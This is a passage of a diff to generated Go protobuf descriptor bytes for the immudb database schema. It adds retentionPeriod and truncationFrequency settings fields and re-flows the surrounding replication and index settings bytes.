0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0xef, 0x0c, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x95, 0x0e, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x5c, 0x0a, 0x13, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, @@ -9127,852 +9142,863 @@ var file_schema_proto_rawDesc = []byte{ 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x1c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, - 0x52, 0x0d, 0x76, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x22, - 0xb4, 0x06, 0x0a, 0x1b, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, - 0x35, 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x07, 0x72, - 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, - 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, - 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, - 0x3f, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, - 0x69, 0x6e, 0x67, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, - 0x12, 0x3f, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, - 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, - 0x74, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, - 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x52, 0x0d, 0x76, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, + 0x4d, 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, + 0x6f, 0x64, 0x18, 0x1d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, + 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x0f, 0x72, + 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x12, 0x55, + 0x0a, 0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x46, 0x72, 0x65, 0x71, + 0x75, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x1e, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, + 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, + 0x52, 0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x46, 0x72, 0x65, 0x71, + 0x75, 0x65, 0x6e, 0x63, 0x79, 0x22, 0xb4, 0x06, 0x0a, 0x1b, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, + 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x35, 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, + 0x6f, 0x6f, 0x6c, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x12, 0x47, 0x0a, 0x0f, + 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, + 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, + 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, - 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, - 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x06, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, - 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, - 0x6f, 0x72, 0x64, 0x12, 0x45, 0x0a, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, - 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, - 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x39, 0x0a, 0x08, 0x73, 0x79, - 0x6e, 0x63, 0x41, 0x63, 0x6b, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, + 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, + 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x3f, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, + 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, + 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, + 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, + 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, + 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, + 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, + 0x6f, 0x72, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, + 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x45, 0x0a, 0x0f, 0x73, 0x79, 0x6e, + 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x07, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, + 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x12, 0x39, 0x0a, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, 0x73, 0x18, 0x08, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, + 0x32, 0x52, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, 0x73, 0x12, 0x51, 0x0a, 0x14, 0x70, + 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, + 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x14, 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, + 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x61, + 0x0a, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, + 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x0a, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, + 0x74, 0x33, 0x32, 0x52, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, + 0x79, 0x12, 0x49, 0x0a, 0x11, 0x41, 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, + 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x08, 0x73, 0x79, 0x6e, - 0x63, 0x41, 0x63, 0x6b, 0x73, 0x12, 0x51, 0x0a, 0x14, 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, - 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, - 0x33, 0x32, 0x52, 0x14, 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, - 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x61, 0x0a, 0x1c, 0x72, 0x65, 0x70, 0x6c, - 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, - 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x1c, 0x72, - 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, - 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x49, 0x0a, 0x11, 0x41, - 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, - 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, - 0x6f, 0x6f, 0x6c, 0x52, 0x11, 0x41, 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, - 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x22, 0x99, 0x09, 0x0a, 0x15, 0x49, 0x6e, 0x64, 0x65, 0x78, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, - 0x12, 0x45, 0x0a, 0x0e, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, - 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, - 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, - 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x43, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, - 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x73, - 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x3b, 0x0a, 0x09, - 0x63, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, - 0x63, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, - 0x4e, 0x6f, 0x64, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x11, 0x41, 0x6c, 0x6c, 0x6f, 0x77, + 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x22, 0x99, 0x09, 0x0a, + 0x15, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, + 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x45, 0x0a, 0x0e, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, + 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, - 0x61, 0x78, 0x4e, 0x6f, 0x64, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4d, 0x0a, 0x12, 0x6d, 0x61, - 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x73, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, - 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x12, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, - 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x73, 0x12, 0x4d, 0x0a, 0x12, 0x72, 0x65, 0x6e, - 0x65, 0x77, 0x53, 0x6e, 0x61, 0x70, 0x52, 0x6f, 0x6f, 0x74, 0x41, 0x66, 0x74, 0x65, 0x72, 0x18, - 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x66, + 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x43, 0x0a, + 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, + 0x74, 0x33, 0x32, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, + 0x6c, 0x64, 0x12, 0x3b, 0x0a, 0x09, 0x63, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, - 0x6e, 0x74, 0x36, 0x34, 0x52, 0x12, 0x72, 0x65, 0x6e, 0x65, 0x77, 0x53, 0x6e, 0x61, 0x70, 0x52, - 0x6f, 0x6f, 0x74, 0x41, 0x66, 0x74, 0x65, 0x72, 0x12, 0x45, 0x0a, 0x0e, 0x63, 0x6f, 0x6d, 0x70, - 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x68, 0x6c, 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, - 0x0e, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x68, 0x6c, 0x64, 0x12, - 0x53, 0x0a, 0x15, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x44, 0x75, 0x72, 0x69, 0x6e, 0x67, 0x43, 0x6f, - 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x15, 0x64, - 0x65, 0x6c, 0x61, 0x79, 0x44, 0x75, 0x72, 0x69, 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x55, 0x0a, 0x16, 0x6e, 0x6f, 0x64, 0x65, 0x73, 0x4c, 0x6f, 0x67, - 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x09, + 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, 0x63, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, + 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, 0x64, 0x65, 0x53, 0x69, 0x7a, 0x65, 